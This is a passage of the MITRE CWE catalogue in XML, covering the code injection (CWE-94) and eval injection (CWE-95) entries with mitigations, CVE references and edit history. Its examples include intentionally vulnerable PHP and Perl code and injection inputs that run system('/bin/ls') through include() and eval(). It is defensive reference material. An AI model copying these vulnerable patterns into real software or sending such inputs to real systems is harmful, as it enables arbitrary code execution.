					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-32">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in an environment that performs automatic taint
							propagation and prevents any command execution that uses tainted
							variables, such as Perl's "-T" switch. This will force the program to
							perform validation steps that remove the taint, although you must be
							careful to correctly validate your inputs so that you do not
							accidentally mark dangerous inputs as untainted (see CWE-183 and
							CWE-184).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-32">
					          <Intro_Text>This example attempts to write user messages to a message file and
						allow users to view them.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>PHP</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$MessageFile = "cwe-94/messages.out";</Code>
							              <Code>if ($_GET["action"] == "NewMessage") {</Code>
							              <Block>
								                <Code>$name = $_GET["name"];</Code>
								                <Code>$message = $_GET["message"];</Code>
								                <Code>$handle = fopen($MessageFile, "a+");</Code>
								                <Code>fwrite($handle, "&lt;b&gt;$name&lt;/b&gt; says
									'$message'&lt;hr&gt;\n");</Code>
								                <Code>fclose($handle);</Code>
								                <Code>echo "Message Saved!&lt;p&gt;\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else if ($_GET["action"] == "ViewMessages") {</Code>
							              <Block>
								                <Code>include($MessageFile);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the programmer intends for the MessageFile to only include data,
							an attacker can provide a message such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>name=h4x0r</Code>
							              <Code>message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E</Code>
						            </Block>
						            <Text>which will decode to the following:</Text>
						            <Block Block_Nature="Attack">
							              <Code>&lt;?php system("/bin/ls -l");?&gt;</Code>
						            </Block>
						            <Text>The programmer thought they were just including the contents of a
							regular data file, but PHP parsed it and executed the code. Now, this
							code is executed any time people view messages.</Text>
						            <Text>Notice that XSS (CWE-79) is also possible in this situation.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-31">
					          <Intro_Text>edit-config.pl: This CGI script is used to modify settings in a
						configuration file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>use CGI qw(:standard);</Code>
							              <Code/>
							              <Code>sub config_file_add_key {</Code>
							              <Block>
								                <Code>my ($fname, $key, $arg) = @_;</Code>
								                <Code/>
								                <Comment># code to add a field/key to a file goes here</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub config_file_set_key {</Code>
							              <Block>
								                <Code>my ($fname, $key, $arg) = @_;</Code>
								                <Code/>
								                <Comment># code to set key to a particular file goes here</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub config_file_delete_key {</Code>
							              <Block>
								                <Code>my ($fname, $key, $arg) = @_;</Code>
								                <Code/>
								                <Comment># code to delete key from a particular file goes
									here</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub handleConfigAction {</Code>
							              <Block>
								                <Code>my ($fname, $action) = @_;</Code>
								                <Code>my $key = param('key');</Code>
								                <Code>my $val = param('val');</Code>
								                <Code/>
								                <Comment># this is super-efficient code, especially if you have to
									invoke</Comment>
								                <Comment># any one of dozens of different functions!</Comment>
								                <Code/>
								                <Code>my $code = "config_file_$action_key(\$fname, \$key,
									\$val);";</Code>
								                <Code>eval($code);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>$configfile = "/home/cwe/config.txt";</Code>
							              <Code>print header;</Code>
							              <Code>if (defined(param('action'))) {</Code>
							              <Block>
								                <Code>handleConfigAction($configfile, param('action'));</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>print "No action specified!\n";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The script intends to take the 'action' parameter and invoke one of a
							variety of functions based on the value of that parameter -
							config_file_add_key(), config_file_set_key(), or
							config_file_delete_key(). It could set up a conditional to invoke each
							function separately, but eval() is a powerful way of doing the same
							thing in fewer lines of code, especially when a large number of
							functions or variables are involved. Unfortunately, in this case, the
							attacker can provide other values in the action parameter, such as:
							add_key(",","); system("/bin/ls"); This would produce the following
							string in handleConfigAction(): config_file_add_key(",",");
							system("/bin/ls"); Any arbitrary Perl code could be added after the
							attacker has "closed off" the construction of the original function
							call, in order to prevent parsing errors from causing the malicious
							eval() to fail before the attacker's payload is activated. This
							particular manipulation would fail after the system() call, because the
							"_key(\$fname, \$key, \$val)" portion of the string would cause an
							error, but this is irrelevant to the attack because the payload has
							already been activated.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5071</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in PHP
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1750</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5305</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl program using an ID that
						should only contain hyphens and numbers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1752</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into Perl eval
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1753</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1527</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into Perl eval
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2837</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into Perl eval
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1921</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. code injection into PHP eval statement using
						nested constructs that should not be nested.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2498</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. code injection into PHP eval statement using
						nested constructs that should not be nested.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3302</Observed_Example_Reference>
					          <Observed_Example_Description>Code injection into Python eval statement from a
						field in a formatted file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1253</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Python
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1471</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Resultant eval injection. An invalid value
						prevents initialization of variables, which can be modified by attacker and
						later injected into PHP eval statement.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0495</Observed_Example_Reference>
					          <Observed_Example_Description>Perl code directly injected into CGI library file
						from parameters to another CGI program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1876</Observed_Example_Reference>
					          <Observed_Example_Description>Direct PHP code injection into supporting template
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1894</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into PHP script that can be
						accessed by attacker.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0395</Observed_Example_Reference>
					          <Observed_Example_Description>PHP code from User-Agent HTTP header directly
						inserted into log file implemented as PHP
						script.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Many of these weaknesses are under-studied and under-researched, and
						terminology is not sufficiently precise.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 3: Web-Client Related Vulnerabilities (XSS)." Page
						63</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Code Evaluation and Injection</Mapped_Node_Name>
					          <Mapped_Node_ID>CODE</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>77</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Research_Gaps, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Likelihood_of_Exploit, Name, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Code
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Control Generation
						of Code (aka 'Code Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Failure to Control Generation
						of Code ('Code Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="95" Name="Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes code syntax before using the
					input in a dynamic evaluation call (e.g. "eval").</Description_Summary>
				        <Extended_Description>
					          <Text>This may allow an attacker to execute arbitrary code, or at least modify
						what code can be executed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>714</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A3 - Malicious File Execution-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
					          <Language Language_Name="Javascript"/>
					          <Language Language_Name="Python"/>
					          <Language Language_Name="Perl"/>
					          <Language Language_Name="PHP"/>
					          <Language Language_Name="Ruby"/>
					          <Language_Class Language_Class_Description="Interpreted Languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Factors: special character errors can play a role in increasing the
						variety of code that can be injected, although some vulnerabilities do not
						require special characters at all, e.g. when a single function without
						arguments can be referenced and a terminator character is not
						necessary.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This weakness is prevalent in handler/dispatch procedures that might want
						to invoke a large number of functions, or set a large number of
						variables.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The injected code could access restricted data / files.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases, injectable code controls authentication; this may lead
							to a remote vulnerability.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Injected code can access resources that the attacker is directly
							prevented from accessing.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Code injection attacks can lead to loss of data integrity in nearly
							all cases as the control-plane data injected is always incidental to
							data recall or writing. Additionally, code injection can often result in
							the execution of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Often the actions performed by injected control code are
							unlogged.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If possible, refactor your code so that it does not need to use eval()
							at all.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180,
							CWE-181). Make sure that your application does not inadvertently decode
							the same input twice (CWE-174). Such errors could be used to bypass
							whitelist schemes by introducing dangerous inputs after they have been
							checked. Use libraries such as the OWASP ESAPI Canonicalization
							control.</Text>
						            <Text>Consider performing repeated canonicalization until your input does
							not change any more. This will avoid double-decoding and similar
							scenarios, but it might inadvertently modify inputs that are allowed to
							contain properly-encoded dangerous content.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-31">
					          <Intro_Text>edit-config.pl: This CGI script is used to modify settings in a
						configuration file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>use CGI qw(:standard);</Code>
							              <Code/>
							              <Code>sub config_file_add_key {</Code>
							              <Block>
								                <Code>my ($fname, $key, $arg) = @_;</Code>
								                <Code/>
								                <Comment># code to add a field/key to a file goes here</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub config_file_set_key {</Code>
							              <Block>
								                <Code>my ($fname, $key, $arg) = @_;</Code>
								                <Code/>
								                <Comment># code to set key to a particular file goes here</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub config_file_delete_key {</Code>
							              <Block>
								                <Code>my ($fname, $key, $arg) = @_;</Code>
								                <Code/>
								                <Comment># code to delete key from a particular file goes
									here</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub handleConfigAction {</Code>
							              <Block>
								                <Code>my ($fname, $action) = @_;</Code>
								                <Code>my $key = param('key');</Code>
								                <Code>my $val = param('val');</Code>
								                <Code/>
								                <Comment># this is super-efficient code, especially if you have to
									invoke</Comment>
								                <Comment># any one of dozens of different functions!</Comment>
								                <Code/>
								                <Code>my $code = "config_file_$action_key(\$fname, \$key,
									\$val);";</Code>
								                <Code>eval($code);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>$configfile = "/home/cwe/config.txt";</Code>
							              <Code>print header;</Code>
							              <Code>if (defined(param('action'))) {</Code>
							              <Block>
								                <Code>handleConfigAction($configfile, param('action'));</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>print "No action specified!\n";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The script intends to take the 'action' parameter and invoke one of a
							variety of functions based on the value of that parameter -
							config_file_add_key(), config_file_set_key(), or
							config_file_delete_key(). It could set up a conditional to invoke each
							function separately, but eval() is a powerful way of doing the same
							thing in fewer lines of code, especially when a large number of
							functions or variables are involved. Unfortunately, in this case, the
							attacker can provide other values in the action parameter, such
							as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>add_key(",","); system("/bin/ls");</Code>
						            </Block>
						            <Text>This would produce the following string in handleConfigAction(): </Text>
						            <Block Block_Nature="Result">
							              <Code>config_file_add_key(",","); system("/bin/ls");</Code>
						            </Block>
						            <Text>Any arbitrary Perl code could be added after the attacker has "closed
							off" the construction of the original function call, in order to prevent
							parsing errors from causing the malicious eval() to fail before the
							attacker's payload is activated. This particular manipulation would fail
							after the system() call, because the "_key(\$fname, \$key, \$val)"
							portion of the string would cause an error, but this is irrelevant to
							the attack because the payload has already been activated.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5071</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in PHP
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1750</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5305</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl program using an ID that
						should only contain hyphens and numbers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1752</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into Perl eval
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1753</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Perl
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1527</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into Perl eval
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2837</Observed_Example_Reference>
					          <Observed_Example_Description>Direct code injection into Perl eval
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1921</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. code injection into PHP eval statement using
						nested constructs that should not be nested.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2498</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. code injection into PHP eval statement using
						nested constructs that should not be nested.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3302</Observed_Example_Reference>
					          <Observed_Example_Description>Code injection into Python eval statement from a
						field in a formatted file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1253</Observed_Example_Reference>
					          <Observed_Example_Description>Eval injection in Python
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1471</Observed_Example_Reference>
					          <Observed_Example_Description>chain: Resultant eval injection. An invalid value
						prevents initialization of variables, which can be modified by attacker and
						later injected into PHP eval statement.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This issue is probably under-reported. Most relevant CVEs have been for
						Perl and PHP, but eval injection applies to most interpreted languages.
						Javascript eval injection is likely to be heavily under-reported.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Link>http://www.rubycentral.com/book/taint.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 18, "Inline Evaluation", Page
						1095.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Direct Dynamic Code Evaluation ('Eval
						Injection')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Malicious File Execution</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
